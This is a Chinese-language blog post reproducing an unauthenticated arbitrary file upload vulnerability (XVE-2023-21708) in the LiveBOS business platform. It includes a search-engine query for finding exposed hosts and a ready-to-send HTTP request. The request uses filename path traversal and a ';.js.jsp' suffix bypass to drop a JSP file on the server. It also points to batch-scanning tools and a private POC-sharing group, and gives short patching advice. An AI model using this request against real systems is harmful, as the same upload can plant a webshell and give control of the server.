首页 > 其他分享 >【漏洞复现】LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)

【漏洞复现】LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)

时间:2024-08-05 14:52:50浏览次数:19  
标签:do .. UploadFile 漏洞 jsp LiveBOS WebKitFormBoundaryxegqoxxi

0x01 产品简介

LiveBOS(Live Business Object System)是顶点软件自主研发的以业务对象建模为核心的业务中间件及其集成开发工具,它通过业务模型建立直接完成软件开发的创新模式,支持各类基于WEB的专业应用软件与行业大型应用的开发。LiveBOS系统由三个相对独立的产品构成:运行支持支撑平台LiveBOS Server、开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。

0x02 漏洞概述

LiveBOS UploadFile.do 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

0x03 搜索引擎

body="Power by LiveBOS"

在这里插入图片描述

0x04 漏洞复现

POST /feed/UploadFile.do;.js.jsp HTTP/1.1 
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=-WebKitFormBoundaryxegqoxxi
Connection: close
 
---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../rce.jsp"
Content-Type: image/jpeg
 
<%@ page import="java.io.File" %>
<%
 out.println("pppppppppoooooooocccccccccccc");
 String filePath = application.getRealPath(request.getServletPath());
 new File(filePath).delete();
%>
---WebKitFormBoundaryxegqoxxi--

在这里插入图片描述

/rce.jsp;.js.jsp

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

0x06 修复建议

1、关闭互联网暴露面或接口设置访问权限
2、厂商已发布安全修复版本,请及时联系官方售后或客服升级至最新版本。
https://www.livebos.com/

标签:do,..,UploadFile,漏洞,jsp,LiveBOS,WebKitFormBoundaryxegqoxxi
From: https://blog.csdn.net/m0_60571842/article/details/140926931

相关文章

  • windows 获取套接字连接状态
     GetTcpTable 和 GetTcpTable2 都是WindowsAPI中用于获取TCP连接表格的函数,但它们有一些关键的区别:GetTcpTable定义:GetTcpTable 函数用于获取TCP连接的表格信息。结构体:它使用 MIB_TCPTABLE 结构体来表示TCP连接的表格。兼容性:GetTcpTable 是早期的......
  • 面向-Windows-程序员的-C---软件互操作教程-全-
    面向Windows程序员的C++软件互操作教程(全)原文:C++SoftwareInteroperabilityforWindowsProgrammers协议:CCBY-NC-SA4.0一、准备介绍本章介绍了软件互操作性项目。我们先简要了解一下先决条件。接下来是项目概述。最后,我们描述了项目的主要组成部分以及它们是如何组......
  • Android开发_android stuido 快捷键
    Alt+回车导入包,自动修正Ctrl+N查找类Ctrl+Shift+N查找文件Ctrl+Alt+L格式化代码Ctrl+Alt+O优化导入的类和包Alt+Insert生成代码(如get,set方法,构造函数等)Ctrl+E或者Alt+Shift+C最近更改的代码Ctrl+R替换文本Ctrl+F查找文本Ctrl+Shift+Space自动补全代码......
  • 解决|RuntimeWarning: invalid value encountered in double_scalars W = numer / d
    报错:RuntimeWarning:invalidvalueencounteredindouble_scalarsW=numer/denom我自查发现代码包含levene和t检验部分,且涉及多步除法。一旦分母为0或NaN就会出现上述报错在chatgpt帮我过了一遍所有可能的分母时,发现就两种情况:1-样本数异常(为0或为1——自由度为0),我的数......
  • 【攻防技术系列+权限维持】Windows开机启动项
    一、简介在我们的计算机开机的时候,总是会有一些程序和服务自动启动,这其中包括Windows操作系统运行所必需的程序和其他用户程序。这是操作系统给用户提供的功能,意在为用户开机启动程序提供方便,我们不必每次启动时都手动的打开一些必须打开的程序。二、常见开机启动项2.1启动文......
  • docker使用
    创建并运行容器:FROMpython:3.10-slimWORKDIR/appCOPY..RUNpipinstallnumpyCMD["python","a.py"]首先创建一个Dockerfile然后FROM指定基础镜像,WORKDIR指定之后所有docker命令工作路径,COPY把文件从一个本地路径拷贝到镜像路径(这里就是把当前目录的所有内容拷贝到镜......
  • windows xusb21.sys驱动对虚拟手柄个数限制
    由于windows授权限制,云游戏服务器上的windows版本多数为server2019部分游戏用到了手柄,调研后基于https://github.com/nefarius/ViGEmBus来魔改虚拟出84个手柄(一个容器只跑一个游戏,一个游戏独立使用4个手柄,一台云游戏服务器预开21个容器,所以理论至少需要能创建84个手柄)但是实......
  • odoo基础知识1
      模块ODOO中的Related字段及Computed字段原理Related字段属性在数据库中是没有存储的,均是每次调用此字段时,通过函数计算出来。所以,若想要让其他函数引用此related字段,必须添加store=True属性(存储字段的优点是,对该字段的搜索是由数据库本身完成的。)。通过引用......
  • Docker 网络
    Docker网络是Docker容器化平台的重要组成部分,它允许容器之间以及容器与外部网络进行通信。Docker提供了多种网络驱动和配置选项,以满足不同的网络需求。本文将详细介绍Docker网络的相关知识,并提供示例帮助理解。1.Docker网络基础1.1网络驱动Docker支持多种网络......
  • Android 之 PopUpWindow 控件的使用(努力z的日记)
    Gif示例:上面的示例是模仿一些App设置的弹窗,为了实现上面gif中的效果,可以通过PopUpWindow实现。以下是实现过程。(欢迎大佬指证o.o)1:创建PopUpWindow动画(anim)    这个anim是在开发中扮演很重要的一环,因为好看o.o,所以麻烦。浅入浅出是我们比较常见的。(因为周师傅只会......